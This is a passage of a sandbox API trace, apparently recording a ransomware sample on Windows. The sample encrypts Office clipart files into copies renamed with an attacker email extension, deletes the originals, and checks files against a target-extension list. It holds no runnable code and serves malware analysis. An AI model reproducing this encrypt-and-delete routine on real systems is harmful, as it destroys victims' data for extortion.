[0216.168] GetLastError () returned 0x0 [0216.168] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x47a, lpOverlapped=0x0) returned 1 [0216.169] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x480, lpOverlapped=0x0) returned 1 [0216.170] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.170] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.170] SetEndOfFile (hFile=0x1f8) returned 1 [0216.170] CloseHandle (hObject=0x1f8) returned 1 [0216.170] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.170] SetEndOfFile (hFile=0x220) returned 1 [0216.171] CloseHandle (hObject=0x220) returned 1 [0216.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0216.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.171] lstrlenW (lpString=".doc") returned 4 [0216.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.171] lstrlenW (lpString=".docx") returned 5 [0216.171] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.171] lstrlenW (lpString=".pdf") returned 4 [0216.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.171] lstrlenW (lpString=".xls") returned 4 [0216.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.171] lstrlenW (lpString=".xlsx") returned 5 [0216.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.171] lstrlenW (lpString=".ppt") returned 4 [0216.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.171] lstrlenW (lpString=".zip") returned 4 [0216.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.171] lstrlenW (lpString=".rar") returned 4 [0216.171] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.171] lstrlenW (lpString=".bz2") returned 4 [0216.171] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.172] lstrlenW (lpString=".7z") returned 3 [0216.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.172] lstrlenW (lpString=".dbf") returned 4 [0216.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.172] lstrlenW (lpString=".1cd") returned 4 [0216.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0216.172] lstrlenW (lpString=".jpg") returned 4 [0216.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.172] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=7583) returned 1 [0216.172] CloseHandle (hObject=0x220) returned 1 [0216.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0216.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.172] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.172] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.173] GetLastError () returned 0x0 [0216.173] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0216.177] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0216.178] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.178] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.178] SetEndOfFile (hFile=0x1f8) returned 1 [0216.178] CloseHandle (hObject=0x1f8) returned 1 [0216.178] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.178] SetEndOfFile (hFile=0x220) returned 1 [0216.179] CloseHandle (hObject=0x220) returned 1 [0216.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0216.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.179] lstrlenW (lpString=".doc") returned 4 [0216.179] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.179] lstrlenW (lpString=".docx") returned 5 [0216.179] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.179] lstrlenW (lpString=".pdf") returned 4 [0216.179] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.179] lstrlenW (lpString=".xls") returned 4 [0216.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.179] lstrlenW (lpString=".xlsx") returned 5 [0216.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.179] lstrlenW (lpString=".ppt") returned 4 [0216.180] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.180] lstrlenW (lpString=".zip") returned 4 [0216.180] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.180] lstrlenW (lpString=".rar") returned 4 [0216.180] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.180] lstrlenW (lpString=".bz2") returned 4 [0216.180] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.180] lstrlenW (lpString=".7z") returned 3 [0216.180] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.180] lstrlenW (lpString=".dbf") returned 4 [0216.180] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.180] lstrlenW (lpString=".1cd") returned 4 [0216.180] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0216.180] lstrlenW (lpString=".jpg") returned 4 [0216.180] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.180] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6984) returned 1 [0216.180] CloseHandle (hObject=0x220) returned 1 [0216.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0216.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.181] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.181] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.181] GetLastError () returned 0x0 [0216.181] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0216.183] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0216.184] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.184] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.184] SetEndOfFile (hFile=0x1f8) returned 1 [0216.185] CloseHandle (hObject=0x1f8) returned 1 [0216.185] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.185] SetEndOfFile (hFile=0x220) returned 1 [0216.185] CloseHandle (hObject=0x220) returned 1 [0216.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString=".doc") returned 4 [0216.186] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.186] lstrlenW (lpString=".docx") returned 5 [0216.186] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.186] lstrlenW (lpString=".pdf") returned 4 [0216.186] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.186] lstrlenW (lpString=".xls") returned 4 [0216.186] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.186] lstrlenW (lpString=".xlsx") returned 5 [0216.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.186] lstrlenW (lpString=".ppt") returned 4 [0216.186] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString=".zip") returned 4 [0216.186] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.186] lstrlenW (lpString=".rar") returned 4 [0216.186] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.186] lstrlenW (lpString=".bz2") returned 4 [0216.186] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.186] lstrlenW (lpString=".7z") returned 3 [0216.186] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString=".dbf") returned 4 [0216.186] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString=".1cd") returned 4 [0216.186] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0216.186] lstrlenW (lpString=".jpg") returned 4 [0216.186] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.187] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=13254) returned 1 [0216.187] CloseHandle (hObject=0x220) returned 1 [0216.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0216.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.187] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.187] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.187] GetLastError () returned 0x0 [0216.187] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0216.194] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0216.195] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.195] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.195] SetEndOfFile (hFile=0x1f8) returned 1 [0216.195] CloseHandle (hObject=0x1f8) returned 1 [0216.195] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.195] SetEndOfFile (hFile=0x220) returned 1 [0216.196] CloseHandle (hObject=0x220) returned 1 [0216.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0216.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.202] lstrlenW (lpString=".doc") returned 4 [0216.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.202] lstrlenW (lpString=".docx") returned 5 [0216.202] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.202] lstrlenW (lpString=".pdf") returned 4 [0216.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.202] lstrlenW (lpString=".xls") returned 4 [0216.202] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.202] lstrlenW (lpString=".xlsx") returned 5 [0216.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.202] lstrlenW (lpString=".ppt") returned 4 [0216.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.202] lstrlenW (lpString=".zip") returned 4 [0216.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.202] lstrlenW (lpString=".rar") returned 4 [0216.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.202] lstrlenW (lpString=".bz2") returned 4 [0216.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.202] lstrlenW (lpString=".7z") returned 3 [0216.202] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.202] lstrlenW (lpString=".dbf") returned 4 [0216.202] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.203] lstrlenW (lpString=".1cd") returned 4 [0216.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0216.203] lstrlenW (lpString=".jpg") returned 4 [0216.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.203] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.203] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.203] GetLastError () returned 0x0 [0216.203] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0216.223] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0216.224] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.224] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.224] SetEndOfFile (hFile=0x218) returned 1 [0216.224] CloseHandle (hObject=0x218) returned 1 [0216.224] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.224] SetEndOfFile (hFile=0x208) returned 1 [0216.225] CloseHandle (hObject=0x208) returned 1 [0216.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString=".doc") returned 4 [0216.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.226] lstrlenW (lpString=".docx") returned 5 [0216.226] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.226] lstrlenW (lpString=".pdf") returned 4 [0216.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.226] lstrlenW (lpString=".xls") returned 4 [0216.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.226] lstrlenW (lpString=".xlsx") returned 5 [0216.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.226] lstrlenW (lpString=".ppt") returned 4 [0216.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString=".zip") returned 4 [0216.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.226] lstrlenW (lpString=".rar") returned 4 [0216.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.226] lstrlenW (lpString=".bz2") returned 4 [0216.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.226] lstrlenW (lpString=".7z") returned 3 [0216.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString=".dbf") returned 4 [0216.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString=".1cd") returned 4 [0216.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0216.226] lstrlenW (lpString=".jpg") returned 4 [0216.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 